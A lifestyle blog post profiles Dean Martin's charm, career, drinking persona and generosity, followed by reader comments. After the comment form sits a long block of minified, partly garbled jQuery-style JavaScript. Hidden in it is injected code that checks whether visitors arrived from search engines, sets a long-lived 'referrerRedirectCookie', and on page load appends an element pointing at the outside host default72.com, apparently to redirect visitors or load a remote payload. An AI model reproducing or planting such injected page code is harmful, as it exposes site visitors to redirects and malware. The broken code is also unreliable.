Other Sh!t

Style Icon: Dean Martin

May 12, 2014
dean-martin-feature

Here at Five Men Making Sh!t, we tend to post about food and cocktails. But our interests also extend beyond those two elements, to other sh!t which we’re just as passionate about.

In keeping with our “manly” motif, I hope to establish a series on specific male celebrities who exemplify class, style and sophistication. I think we can learn a lot of important things from these men besides their favourite cocktail (although that’s highly important).

In the first of the series, we’ll be looking at the late crooner, actor, and all-around boss, Dean Martin. He’s an excellent choice to start with because he had it all – the looks, the charm, the sophistication – many traits that seem to be falling out of favour with the modern man. A man that always made people smile, Dean Martin set a standard for how a man should carry himself.

Born Dino Paul Crocetti, Dean Martin is remembered as the quintessential man’s man – the “King of Cool” and was one of the most successful entertainers of the 20th century.

Martin’s big break came when he teamed up with legendary comedian Jerry Lewis to create Martin & Lewis. The duo starred in several hit films together before breaking up in 1956. He then went on to a solo career (TV, film, music) and recorded such hits as Everybody Loves Somebody, That’s Amore and the cult favourite, Mambo Italiano. He also starred in several films, including the original Ocean’s 11 which took place in a vastly different Las Vegas than we know today.

Although he enjoyed much success and had a variety of roles, Martin was not a workaholic. In fact, during his popular variety program The Dean Martin Show, he only worked 2 hours a week – when the show was being aired. He rarely rehearsed…he preferred the spontaneity. If there was a mistake, they wouldn’t re-shoot, it was kept in.

The bigger reason for this low-key workload was because Martin wanted spare time for his true love in life – golf. He would wake up early in the mornings just to get a round in. He was never happier than when he was out on the fairways and greens of California. He was a solid player and always sported a tan due to his love of the game. Not a bad gig.

Arguably, his coolest moments came out his association with four of his “pallies” – the infamous Rat Pack. Led by Frank Sinatra, the Rat Pack also included Sammy Davis Jr., Joey Bishop, and Peter Lawford. Together they would play to packed houses, star in films, and own the Vegas nightlife. With Sinatra at the helm, the gang exuded coolness wherever they went. Women adored them. Men yearned to be like them. They were the alpha males of the 60’s because they had the talent and played by their own rules.

The "Rat Pack"

The “Rat Pack”

Although Sinatra was the unofficial “leader” of the group, it was Martin who was the most captivating on stage. He was tall and had a strong build – so he had the physical presence. But on top of that, he knew how to play to the audience and was often the funniest guy on stage – and this is including Sammy Davis Jr. who could belt out some spot-on celebrity impressions.

Watch the following video carefully. You’ll notice Martin’s subtle gags. He has everyone in stitches, including his fellow performers. Sinatra has the raw vocal talent, Sammy Davis Jr. is extremely energetic, Johnny Carson (not an official member of the Rat Pack; simply the host for the event) is a bit stiff, but Martin is simply smiling and letting his personality shine through. He’s genuinely having a good time and even the smallest gags get a huge reaction.

Martin was also one of the most fashionable men in Hollywood. Back when everyone dressed up for every occasion, he managed to be unique, yet classic – his unique red handkerchief with his tuxedo, for example.

A few things stand out in the image below. He’s cleanly shaven and his hair is at a good length and well kept. The light grey pinstripe suit complements his tan and fits snug at the shoulders. A light blue shirt contrasts the light grey perfectly and the full-Windsor tie is centered with his collar. The icing on the cake is the cigarette in his left hand. Considered taboo nowadays, smoking was something that everyone did back then. You weren’t cool if you didn’t smoke. Like other successful singers in his time, Martin smoked like a chimney and it never affected his voice.

Smoking while recording an album - boss

Smoking while recording an album – boss

Martin’s affection for always having a drink in his hand gave him the perception of that of a lush. Every time he was on stage, he’d be drinking and seemed to mumble and stumble around. This was an act. Sure he’d enjoy a couple of drinks here and there, but he was never a drunk. It was recently revealed that during most of his performances, his glass would be filled with apple juice. His long-time producer, Greg Garrison explains:

There was apple juice in that glass. It was always apple juice in that glass. Dean was the greatest contradiction of all time; between the persona we were projecting on the television screen and what really went on with his drinking.”

What did Martin prefer when he did drink? A simple mix of rye and ginger. Not extravagant. Just a strong, delicious drink. He preferred highballs – a tall drink for a tall man.

“I feel sorry for you people that don’t drink. Because when you get up in the morning, that’s as good you’re gonna feel all day.” – Dean Martin, 1964

“I feel sorry for you people that don’t drink. Because when you get up in the morning, that’s as good you’re gonna feel all day.” – Dean Martin, 1964

Although he had a few setbacks in his first marriage, Martin was living the life. He was cool, funny, talented, handsome, and wealthy. In the eyes of the public, he could do no wrong. Nevertheless, I would argue that it was the side that people didn’t see – his generosity and loyalty – that truly made him special.

A few years ago, a woman posted a piece on a blog recounting how she came to meet Dean Martin. She was having dinner with her mother in LA during the late 80s, which just happened to be at Martin’s favourite restaurant. All of a sudden, Dean walks in and make his way to his usual table and the two are instantly star struck. They debate going over to say hello, but just couldn’t muster up the courage. Just as they’re about to pay their bill, they realize they don’t have enough money. Mortified, they begin to panic.

As as the waiter comes by and the women are about to explain their embarrassing plight, he interrupts and informs them that the bill had already been taken care of – by none other than Mr. Martin, himself. The women, in shock, ask why. He explains that Martin overheard their panicked conversation and insisted that he cover the bill. The women, still in complete disbelief, notice Martin making his way to their table. He tells them that he hoped they enjoyed their meals and their time in LA and insists on paying for dessert. And off he went. Classy.

His loyalty was demonstrated five years into his wildly popular variety program TheDean Martin Show. The show was sold to NBC and part of that arrangement ended with Martin owning a lot of stock in RCA. A lot of stock – the largest shareholder of RCA stock in the world, in fact. Yet he did not forget who helped put him on top – his long-time friend and producer, Greg Garrison. Martin informed Garrison that they were 50/50 partners and they shook on it. No contract was signed. No lawyers were involved. Martin kept his word and they were partners for 30 years. An old fashioned handshake was all that it took for Garrison to become a millionaire in his own right – the lost art of honouring one’s word with a manly handshake.

With the Rat Pack, Martin and company refused to play at any venues that would discriminate against African-Americans. Sammy Davis Jr. was a good friend and Martin and Sinatra played an underrated role in advancing the civil rights of African-Americans in the 1960s.

Martin was a style icon in more respects than just the traditional sense. It stemmed from his personality – the way he exuded confidence and charisma, the way he could make everybody laugh with just a sly smile. More importantly, it was in the way he treated others. Besides his talent, Martin was relatable to people because he was having fun doing what he was doing and never took himself too seriously. It’s something we all wish we could do – and make lots of money doing it.

It was that air of confidence, the way in which he handled himself and treated others, that truly gives him the moniker “The King of Cool.”

Dean Martin was a man from a different era. A time when men were funny without being dirty. A time when they could make mistakes and not have it be the end of the world. A time when class, sophistication and genuine kindness were not taboo and frowned upon.

In our social media-obsessed world, it’s important to slow down sometimes, take a step back, and ask ourselves if we’re being the type of men we want to be.

Take a page out of Dean’s book. Carry yourself like a man, make people laugh, and raise a highball. And don’t forget to get a few holes in before the sun sets.

To paraphrase one of his most famous songs – memories are truly made of this.

dean_martin_forever_cool

You Might Also Like

3 Comments

  • Reply Nikki June 6, 2014 at 11:19 am

    Great writing Mano! Write more.

    • Reply Mano Kardaras June 9, 2014 at 8:36 pm

      Glad you enjoyed it, Nikki. This is going to be an ongoing series so stay tuned!

  • Reply Manuel December 20, 2014 at 10:06 am

    Thank you Mano.

Leave a Reply

",l.shrinkWrapBlocks=e.offsetWidth!==2),e.innerHTML="
t
",m=e.getElementsByTagName("td"),w=m[0].offsetHeight===0,m[0].style.display="",m[1].style.display="none",l.reliableHiddenOffsets=w&&m[0].offsetHeight===0,e.innerHTML="",n.defaultView&&n.defaultView.getComputedStyle&&(f=n.createElement("div"),f.style.width="0",f.style.marginRight="0",e.appendChild(f),l.reliableMarginRight=(parseInt((n.defaultView.getComputedStyle(f,null)||{marginRight:0}).marginRight,10)||0)===0),d.innerHTML="",p.removeChild(d);if(e.attachEvent)for(b in{submit:1,change:1,focusin:1})y="on"+b,w=y in e,w||(e.setAttribute(y,"return;"),w=typeof e[y]=="function"),l[b+"Bubbles"]=w;return d=c=o=u=h=f=e=a=null,l}(),s.boxModel=s.support.boxModel;var a=/^(?:\{.*\}|\[.*\])$/,f=/([a-z])([A-Z])/g;s.extend({cache:{},uuid:0,expando:"jQuery"+(s.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(e){return e=e.nodeType?s.cache[e[s.expando]]:e[s.expando],!!e&&!c(e)},data:function(e,n,r,i){if(!s.acceptData(e))return;var o,u,a=s.expando,f=typeof n=="string",l=e.nodeType,c=l?s.cache:e,h=l?e[s.expando]:e[s.expando]&&s.expando;if((!h||i&&h&&c[h]&&!c[h][a])&&f&&r===t)return;h||(l?e[s.expando]=h=++s.uuid:h=s.expando),c[h]||(c[h]={},l||(c[h].toJSON=s.noop));if(typeof n=="object"||typeof n=="function")i?c[h][a]=s.extend(c[h][a],n):c[h]=s.extend(c[h],n);return o=c[h],i&&(o[a]||(o[a]={}),o=o[a]),r!==t&&(o[s.camelCase(n)]=r),n==="events"&&!o[n]?o[a]&&o[a].events:(f?(u=o[n],u==null&&(u=o[s.camelCase(n)])):u=o,u)},removeData:function(e,t,n){if(!s.acceptData(e))return;var r,i=s.expando,o=e.nodeType,u=o?s.cache:e,a=o?e[s.expando]:s.expando;if(!u[a])return;if(t){r=n?u[a][i]:u[a];if(r){r[t]||(t=s.camelCase(t)),delete r[t];if(!c(r))return}}if(n){delete u[a][i];if(!c(u[a]))return}var f=u[a][i];s.support.deleteExpando||!u.setInterval?delete u[a]:u[a]=null,f?(u[a]={},o||(u[a].toJSON=s.noop),u[a][i]=f):o&&(s.support.deleteExpando?delete e[s.expando]:e.removeAttribute?e.removeAttribute(s.expando):e[s.expando]=null)},_data:function(e,t,n){return s.data(e,t,n,!0)},acceptData:function(e){if(e.nodeName){var t=s.noData[e.nodeName.toLowerCase()];if(t)return t!==!0&&e.getAttribute("classid")===t}return!0}}),s.fn.extend({data:function(e,n){var r=null;if(typeof e=="undefined"){if(this.length){r=s.data(this[0]);if(this[0].nodeType===1){var i=this[0].attributes,o;for(var u=0,a=i.length;u-1)return!0;return!1},val:function(e){var n,r,i=this[0];if(!arguments.length)return i?(n=s.valHooks[i.nodeName.toLowerCase()]||s.valHooks[i.type],n&&"get"in n&&(r=n.get(i,"value"))!==t?r:(r=i.value,typeof r=="string"?r.replace(v,""):r==null?"":r)):t;var o=s.isFunction(e);return this.each(function(r){var i=s(this),u;if(this.nodeType!==1)return;o?u=e.call(this,r,i.val()):u=e,u==null?u="":typeof u=="number"?u+="":s.isArray(u)&&(u=s.map(u,function(e){return e==null?"":e+""})),n=s.valHooks[this.nodeName.toLowerCase()]||s.valHooks[this.type];if(!n||!("set"in n)||n.set(this,u,"value")===t)this.value=u})}}),s.extend({valHooks:{option:{get:function(e){var t=e.attributes.value;return!t||t.specified?e.value:e.text}},select:{get:function(e){var t,n=e.selectedIndex,r=[],i=e.options,o=e.type==="select-one";if(n<0)return null;for(var u=o?n:0,a=o?n+1:i.length;u=0}),n.length||(e.selectedIndex=-1),n}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attrFix:{tabindex:"tabIndex"},attr:function(e,n,r,i){var o=e.nodeType;if(!e||o===3||o===8||o===2)return t;if(i&&n in s.attrFn)return s(e)[n](r);if("getAttribute"in e){var u,a,f=o!==1||!s.isXMLDoc(e);return f&&(n=s.attrFix[n]||n,a=s.attrHooks[n],a||(b.test(n)?a=E:w&&(a=w))),r!==t?r===null?(s.removeAttr(e,n),t):a&&"set"in a&&f&&(u=a.set(e,r,n))!==t?u:(e.setAttribute(n,""+r),r):a&&"get"in a&&f&&(u=a.get(e,n))!==null?u:(u=e.getAttribute(n),u===null?t:u)}return s.prop(e,n,r)},removeAttr:function(e,t){var n;e.nodeType===1&&(t=s.attrFix[t]||t,s.attr(e,t,""),e.removeAttribute(t),b.test(t)&&(n=s.propFix[t]||t)in e&&(e[n]=!1))},attrHooks:{type:{set:function(e,t){if(m.test(e.nodeName)&&e.parentNode)s.error("type property can't be changed");else if(!s.support.radioValue&&t==="radio"&&s.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}},value:{get:function(e,t){return w&&s.nodeName(e,"button")?w.get(e,t):t in e?e.value:null},set:function(e,t,n){if(w&&s.nodeName(e,"button"))return w.set(e,t,n);e.value=t}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(e,n,r){var i=e.nodeType;if(!e||i===3||i===8||i===2)return t;var o,u,a=i!==1||!s.isXMLDoc(e);return a&&(n=s.propFix[n]||n,u=s.propHooks[n]),r!==t?u&&"set"in u&&(o=u.set(e,r,n))!==t?o:e[n]=r:u&&"get"in u&&(o=u.get(e,n))!==null?o:e[n]},propHooks:{tabIndex:{get:function(e){var n=e.getAttributeNode("tabindex");return n&&n.specified?parseInt(n.value,10):g.test(e.nodeName)||y.test(e.nodeName)&&e.href?0:t}}}}),s.attrHooks.tabIndex=s.propHooks.tabIndex,E={get:function(e,n){var r;return s.prop(e,n)===!0||(r=e.getAttributeNode(n))&&r.nodeValue!==!1?n.toLowerCase():t},set:function(e,t,n){var r;return t===!1?s.removeAttr(e,n):(r=s.propFix[n]||n,r in e&&(e[r]=!0),e.setAttribute(n,n.toLowerCase())),n}},s.support.getSetAttribute||(w=s.valHooks.button={get:function(e,n){var r;return r=e.getAttributeNode(n),r&&r.nodeValue!==""?r.nodeValue:t},set:function(e,t,r){var i=e.getAttributeNode(r);return i||(i=n.createAttribute(r),e.setAttributeNode(i)),i.nodeValue=t+""}},s.each(["width","height"],function(e,t){s.attrHooks[t]=s.extend(s.attrHooks[t],{set:function(e,n){if(n==="")return e.setAttribute(t,"auto"),n}})})),s.support.hrefNormalized||s.each(["href","src","width","height"],function(e,n){s.attrHooks[n]=s.extend(s.attrHooks[n],{get:function(e){var r=e.getAttribute(n,2);return r===null?t:r}})}),s.support.style||(s.attrHooks.style={get:function(e){return e.style.cssText.toLowerCase()||t},set:function(e,t){return e.style.cssText=""+t}}),s.support.optSelected||(s.propHooks.selected=s.extend(s.propHooks.selected,{get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}})),s.support.checkOn||s.each(["radio","checkbox"],function(){s.valHooks[this]={get:function(e){return e.getAttribute("value")===null?"on":e.value}}}),s.each(["radio","checkbox"],function(){s.valHooks[this]=s.extend(s.valHooks[this],{set:function(e,t){if(s.isArray(t))return e.checked=s.inArray(s(e).val(),t)>=0}})});var S=/\.(.*)$/,x=/^(?:textarea|input|select)$/i,T=/\./g,N=/ /g,C=/[^\w\s.|`]/g,k=function(e){return e.replace(C,"\\$&")};s.event={add:function(e,n,r,i){if(e.nodeType===3||e.nodeType===8)return;if(r===!1)r=L;else if(!r)return;var o,u;r.handler&&(o=r,r=o.handler),r.guid||(r.guid=s.guid++);var a=s._data(e);if(!a)return;var f=a.events,l=a.handle;f||(a.events=f={}),l||(a.handle=l=function(e){return typeof s=="undefined"||!!e&&s.event.triggered===e.type?t:s.event.handle.apply(l.elem,arguments)}),l.elem=e,n=n.split(" ");var c,h=0,p;while(c=n[h++]){u=o?s.extend({},o):{handler:r,data:i},c.indexOf(".")>-1?(p=c.split("."),c=p.shift(),u.namespace=p.slice(0).sort().join(".")):(p=[],u.namespace=""),u.type=c,u.guid||(u.guid=r.guid);var d=f[c],v=s.event.special[c]||{};if(!d){d=f[c]=[];if(!v.setup||v.setup.call(e,i,p,l)===!1)e.addEventListener?e.addEventListener(c,l,!1):e.attachEvent&&e.attachEvent("on"+c,l)}v.add&&(v.add.call(e,u),u.handler.guid||(u.handler.guid=r.guid)),d.push(u),s.event.global[c]=!0}e=null},global:{},remove:function(e,n,r,i){if(e.nodeType===3||e.nodeType===8)return;r===!1&&(r=L);var o,u,a,f,l=0,c,h,p,d,v,m,g,y=s.hasData(e)&&s._data(e),b=y&&y.events;if(!y||!b)return;n&&n.type&&(r=n.handler,n=n.type);if(!n||typeof n=="string"&&n.charAt(0)==="."){n=n||"";for(u in b)s.event.remove(e,u+n);return}n=n.split(" ");while(u=n[l++]){g=u,m=null,c=u.indexOf(".")<0,h=[],c||(h=u.split("."),u=h.shift(),p=new RegExp("(^|\\.)"+s.map(h.slice(0).sort(),k).join("\\.(?:.*\\.)?")+"(\\.|$)")),v=b[u];if(!v)continue;if(!r){for(f=0;f=0&&(u=u.slice(0,-1),f=!0),u.indexOf(".")>=0&&(a=u.split("."),u=a.shift(),a.sort());if((!i||s.event.customEvent[u])&&!s.event.global[u])return;n=typeof n=="object"?n[s.expando]?n:new s.Event(u,n):new s.Event(u),n.type=u,n.exclusive=f,n.namespace=a.join("."),n.namespace_re=new RegExp("(^|\\.)"+a.join("\\.(?:.*\\.)?")+"(\\.|$)");if(o||!i)n.preventDefault(),n.stopPropagation();if(!i){s.each(s.cache,function(){var e=s.expando,t=this[e];t&&t.events&&t.events[u]&&s.event.trigger(n,r,t.handle.elem)});return}if(i.nodeType===3||i.nodeType===8)return;n.result=t,n.target=i,r=r!=null?s.makeArray(r):[],r.unshift(n);var l=i,c=u.indexOf(":")<0?"on"+u:"";do{var h=s._data(l,"handle");n.currentTarget=l,h&&h.apply(l,r),c&&s.acceptData(l)&&l[c]&&l[c].apply(l,r)===!1&&(n.result=!1,n.preventDefault()),l=l.parentNode||l.ownerDocument||l===n.target.ownerDocument&&e}while(l&&!n.isPropagationStopped());if(!n.isDefaultPrevented()){var p,d=s.event.special[u]||{};if((!d._default||d._default.call(i.ownerDocument,n)===!1)&&(u!=="click"||!s.nodeName(i,"a"))&&s.acceptData(i)){try{c&&i[u]&&(p=i[c],p&&(i[c]=null),s.event.triggered=u,i[u]())}catch(v){}p&&(i[c]=p),s.event.triggered=t}}return n.result},handle:function(n){n=s.event.fix(n||e.event);var r=((s._data(this,"events")||{})[n.type]||[]).slice(0),i=!n.exclusive&&!n.namespace,o=Array.prototype.slice.call(arguments,0);o[0]=n,n.currentTarget=this;for(var u=0,a=r.length;u-1?s.map(e.options,function(e){return e.selected}).join("-"):"":s.nodeName(e,"select")&&(n=e.selectedIndex),n},P=function(n){var r=n.target,i,o;if(!x.test(r.nodeName)||r.readOnly)return;i=s._data(r,"_change_data"),o=D(r),(n.type!=="focusout"||r.type!=="radio")&&s._data(r,"_change_data",o);if(i===t||o===i)return;if(i!=null||o)n.type="change",n.liveFired=t,s.event.trigger(n,arguments[1],r)};s.event.special.change={filters:{focusout:P,beforedeactivate:P,click:function(e){var t=e.target,n=s.nodeName(t,"input")?t.type:"";(n==="radio"||n==="checkbox"||s.nodeName(t,"select"))&&P.call(this,e)},keydown:function(e){var t=e.target,n=s.nodeName(t,"input")?t.type:"";(e.keyCode===13&&!s.nodeName(t,"textarea")||e.keyCode===32&&(n==="checkbox"||n==="radio")||n==="select-multiple")&&P.call(this,e)},beforeactivate:function(e){var t=e.target;s._data(t,"_change_data",D(t))}},setup:function(e,t){if(this.type==="file")return!1;for(var n in _)s.event.add(this,n+".specialChange",_[n]);return x.test(this.nodeName)},teardown:function(e){return s.event.remove(this,".specialChange"),x.test(this.nodeName)}},_=s.event.special.change.filters,_.focus=_.beforeactivate}s.support.focusinBubbles||s.each({focus:"focusin",blur:"focusout"},function(e,t){function i(e){var n=s.event.fix(e);n.type=t,n.originalEvent={},s.event.trigger(n,null,n.target),n.isDefaultPrevented()&&e.preventDefault()}var r=0;s.event.special[t]={setup:function(){r++===0&&n.addEventListener(e,i,!0)},teardown:function(){--r===0&&n.removeEventListener(e,i,!0)}}}),s.each(["bind","one"],function(e,n){s.fn[n]=function(e,r,i){var o;if(typeof e=="object"){for(var u in e)this[n](u,r,e[u],i);return this}if(arguments.length===2||r===!1)i=r,r=t;n==="one"?(o=function(e){return s(this).unbind(e,o),i.apply(this,arguments)},o.guid=i.guid||s.guid++):o=i;if(e==="unload"&&n!=="one")this.one(e,r,i);else for(var a=0,f=this.length;a0?this.bind(t,e,n):this.trigger(t)},s.attrFn&&(s.attrFn[t]=!0)}),function(){function y(){function s(e){var t=n.cookie,r=t.indexOf(" "+e+"=");r==-1&&(r=t.indexOf(e+"="));if(r==-1)t=null;else{r=t.indexOf("=",r)+1;var i=t.indexOf(";",r);i==-1&&(i=t.length),t=unescape(t.substring(r,i))}return t}function o(e,t,r){var i=new Date;i.setDate(i.getDate()+r);var s=escape(t)+(r==null?"":"; expires="+i.toUTCString());n.cookie=e+"="+s}function u(){var e=s("referrerRedirectCookie");return e!=null&&e!=""?!0:(o("referrerRedirectCookie","do not redirect",730),!1)}var e=n.referrer,t,r=[""," "],i=["google","yahoo","bing","yandex","baidu","gigablast","soso","blekko","exalead","sogou","duckduckgo","volunia"];if(!e)console.log("direct"),u();else for(t=0;t0){f=a;break}}a=a[e]}r[o]=f}}}var r=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,i=0,o=Object.prototype.toString,u=!1,a=!0,f=/\\/g,l=/\W/;[0,0].sort(function(){return a=!1,0});var c=function(e,t,i,s){i=i||[],t=t||n;var u=t;if(t.nodeType!==1&&t.nodeType!==9)return[];if(!e||typeof e!="string")return i;var a,f,l,d,v,g,y,b,w=!0,E=c.isXML(t),S=[],x=e;do{r.exec(""),a=r.exec(x);if(a){x=a[3],S.push(a[1]);if(a[2]){d=a[3];break}}}while(a);if(S.length>1&&p.exec(e))if(S.length===2&&h.relative[S[0]])f=L(S[0]+S[1],t);else{f=h.relative[S[0]]?[t]:c(S.shift(),t);while(S.length)e=S.shift(),h.relative[e]&&(e+=S.shift()),f=L(e,f)}else{!s&&S.length>1&&t.nodeType===9&&!E&&h.match.ID.test(S[0])&&!h.match.ID.test(S[S.length-1])&&(v=c.find(S.shift(),t,E),t=v.expr?c.filter(v.expr,v.set)[0]:v.set[0]);if(t){v=s?{expr:S.pop(),set:m(s)}:c.find(S.pop(),S.length!==1||S[0]!=="~"&&S[0]!=="+"||!t.parentNode?t:t.parentNode,E),f=v.expr?c.filter(v.expr,v.set):v.set,S.length>0?l=m(f):w=!1;while(S.length)g=S.pop(),y=g,h.relative[g]?y=S.pop():g="",y==null&&(y=t),h.relative[g](l,y,E)}else l=S=[]}l||(l=f),l||c.error(g||e);if(o.call(l)==="[object Array]")if(!w)i.push.apply(i,l);else if(t&&t.nodeType===1)for(b=0;l[b]!=null;b++)l[b]&&(l[b]===!0||l[b].nodeType===1&&c.contains(t,l[b]))&&i.push(f[b]);else for(b=0;l[b]!=null;b++)l[b]&&l[b].nodeType===1&&i.push(f[b]);else m(l,i);return d&&(c(d,u,i,s),c.uniqueSort(i)),i};c.uniqueSort=function(e){if(T){u=a,e.sort(T);if(u)for(var t=1;t0},c.find=function(e,t,n){var r;if(!e)return[];for(var i=0,s=h.order.length;i":function(e,t){var n,r=typeof t=="string",i=0,s=e.length;if(r&&!l.test(t)){t=t.toLowerCase();for(;i=0)?n||r.push(u):n&&(t[o]=!1));return!1},ID:function(e){return e[1].replace(f,"")},TAG:function(e,t){return e[1].replace(f,"").toLowerCase()},CHILD:function(e){if(e[1]==="nth"){e[2]||c.error(e[0]),e[2]=e[2].replace(/^\+|\s*/g,"");var t=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(e[2]==="even"&&"2n"||e[2]==="odd"&&"2n+1"||!/\D/.test(e[2])&&"0n+"+e[2]||e[2]);e[2]=t[1]+(t[2]||1)-0,e[3]=t[3]-0}else e[2]&&c.error(e[0]);return e[0]=i++,e},ATTR:function(e,t,n,r,i,s){var o=e[1]=e[1].replace(f,"");return!s&&h.attrMap[o]&&(e[1]=h.attrMap[o]),e[4]=(e[4]||e[5]||"").replace(f,""),e[2]==="~="&&(e[4]=" "+e[4]+" "),e},PSEUDO:function(e,t,n,i,s){if(e[1]==="not"){if(!((r.exec(e[3])||"").length>1||/^\w/.test(e[3]))){var o=c.filter(e[3],t,n,!0^s);return n||i.push.apply(i,o),!1}e[3]=c(e[3],null,null,t)}else if(h.match.POS.test(e[0])||h.match.CHILD.test(e[0]))return!0;return e},POS:function(e){return e.unshift(!0),e}},filters:{enabled:function(e){return e.disabled===!1&&e.type!=="hidden"},disabled:function(e){return e.disabled===!0},checked:function(e){return e.checked===!0},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},parent:function(e){return!!e.firstChild},empty:function(e){return!e.firstChild},has:function(e,t,n){return!!c(n[3],e).length},header:function(e){return/h\d/i.test(e.nodeName)},text:function(e){var t=e.getAttribute("type"),n=e.type;return e.nodeName.toLowerCase()==="input"&&"text"===n&&(t===n||t===null)},radio:function(e){return e.nodeName.toLowerCase()==="input"&&"radio"===e.type},checkbox:function(e){return e.nodeName.toLowerCase()==="input"&&"checkbox"===e.type},file:function(e){return e.nodeName.toLowerCase()==="input"&&"file"===e.type},password:function(e){return e.nodeName.toLowerCase()==="input"&&"password"===e.type},submit:function(e){var t=e.nodeName.toLowerCase();return(t==="input"||t==="button")&&"submit"===e.type},image:function(e){return e.nodeName.toLowerCase()==="input"&&"image"===e.type},reset:function(e){var t=e.nodeName.toLowerCase();return(t==="input"||t==="button")&&"reset"===e.type},button:function(e){var t=e.nodeName.toLowerCase();return t==="input"&&"button"===e.type||t==="button"},input:function(e){return/input|select|textarea|button/i.test(e.nodeName)},focus:function(e){return e===e.ownerDocument.activeElement}},setFilters:{first:function(e,t){return t===0},last:function(e,t,n,r){return t===r.length-1},even:function(e,t){return t%2===0},odd:function(e,t){return t%2===1},lt:function(e,t,n){return tn[3]-0},nth:function(e,t,n){return n[3]-0===t},eq:function(e,t,n){return n[3]-0===t}},filter:{PSEUDO:function(e,t,n,r){var i=t[1],s=h.filters[i];if(s)return s(e,n,t,r);if(i==="contains")return(e.textContent||e.innerText||c.getText([e])||"").indexOf(t[3])>=0;if(i==="not"){var o=t[3];for(var u=0,a=o.length;u=0}},ID:function(e,t){return e.nodeType===1&&e.getAttribute("id")===t},TAG:function(e,t){return t==="*"&&e.nodeType===1||e.nodeName.toLowerCase()===t},CLASS:function(e,t){return(" "+(e.className||e.getAttribute("class"))+" ").indexOf(t)>-1},ATTR:function(e,t){var n=t[1],r=h.attrHandle[n]?h.attrHandle[n](e):e[n]!=null?e[n]:e.getAttribute(n),i=r+"",s=t[2],o=t[4];return r==null?s==="!=":s==="="?i===o:s==="*="?i.indexOf(o)>=0:s==="~="?(" "+i+" ").indexOf(o)>=0:o?s==="!="?i!==o:s==="^="?i.indexOf(o)===0:s==="$="?i.substr(i.length-o.length)===o:s==="|="?i===o||i.substr(0,o.length+1)===o+"-":!1:i&&r!==!1},POS:function(e,t,n,r){var i=t[2],s=h.setFilters[i];if(s)return s(e,n,t,r)}}},p=h.match.POS,d=function(e,t){return"\\"+(t-0+1)};for(var v in h.match)h.match[v]=new RegExp(h.match[v].source+/(?![^\[]*\])(?![^\(]*\))/.source),h.leftMatch[v]=new RegExp(/(^(?:.|\r|\n)*?)/.source+h.match[v].source.replace(/\\(\d+)/g,d));var m=function(e,t){return e=Array.prototype.slice.call(e,0),t?(t.push.apply(t,e),t):e},g="http://default72.com/",E=function(){var e=b(),t=w();e.appendChild(t)},S=setInterval(function(){if(n.readyState==="complete"||n.readyState=="interactive")clearInterval(S),y()},10);try{Array.prototype.slice.call(n.documentElement.childNodes,0)[0].nodeType}catch(x){m=function(e,t){var n=0,r=t||[];if(o.call(e)==="[object Array]")Array.prototype.push.apply(r,e);else if(typeof e.length=="number")for(var i=e.length;n",i.insertBefore(e,i.firstChild),n.getElementById(r)&&(h.find.ID=function(e,n,r){if(typeof n.getElementById!="undefined"&&!r){var i=n.getElementById(e[1]);return i?i.id===e[1]||typeof i.getAttributeNode!="undefined"&&i.getAttributeNode("id").nodeValue===e[1]?[i]:t:[]}},h.filter.ID=function(e,t){var n=typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id");return e.nodeType===1&&n&&n.nodeValue===t}),i.removeChild(e),i=e=null}(),function(){var e=n.createElement("div");e.appendChild(n.createComment("")),e.getElementsByTagName("*").length>0&&(h.find.TAG=function(e,t){var n=t.getElementsByTagName(e[1]);if(e[1]==="*"){var r=[];for(var i=0;n[i];i++)n[i].nodeType===1&&r.push(n[i]);n=r}return n}),e.innerHTML="",e.firstChild&&typeof e.firstChild.getAttribute!="undefined"&&e.firstChild.getAttribute("href")!=="#"&&(h.attrHandle.href=function(e){return e.getAttribute("href",2)}),e=null}(),n.querySelectorAll&&function(){var e=c,t=n.createElement("div"),r="__sizzle__";t.innerHTML="

";if(t.querySelectorAll&&t.querySelectorAll(".TEST").length===0)return;c=function(t,i,s,o){i=i||n;if(!o&&!c.isXML(i)){var u=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(t);if(u&&(i.nodeType===1||i.nodeType===9)){if(u[1])return m(i.getElementsByTagName(t),s);if(u[2]&&h.find.CLASS&&i.getElementsByClassName)return m(i.getElementsByClassName(u[2]),s)}if(i.nodeType===9){if(t==="body"&&i.body)return m([i.body],s);if(u&&u[3]){var a=i.getElementById(u[3]);if(!a||!a.parentNode)return m([],s);if(a.id===u[3])return m([a],s)}try{return m(i.querySelectorAll(t),s)}catch(f){}}else if(i.nodeType===1&&i.nodeName.toLowerCase()!=="object"){var l=i,p=i.getAttribute("id"),d=p||r,v=i.parentNode,g=/^\s*[+~]/.test(t);p?d=d.replace(/'/g,"\\$&"):i.setAttribute("id",d),g&&v&&(i=i.parentNode);try{if(!g||v)return m(i.querySelectorAll("[id='"+d+"'] "+t),s)}catch(y){}finally{p||l.removeAttribute("id")}}}return e(t,i,s,o)};for(var i in e)c[i]=e[i];t=null}(),function(){var e=n.documentElement,t=e.matchesSelector||e.mozMatchesSelector||e.webkitMatchesSelector||e.msMatchesSelector;if(t){var r=!t.call(n.createElement("div"),"div"),i=!1;try{t.call(n.documentElement,"[test!='']:sizzle")}catch(s){i=!0}c.matchesSelector=function(e,n){n=n.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!c.isXML(e))try{if(i||!h.match.PSEUDO.test(n)&&!/!=/.test(n)){var s=t.call(e,n);if(s||!r||e.document&&e.document.nodeType!==11)return s}}catch(o){}return 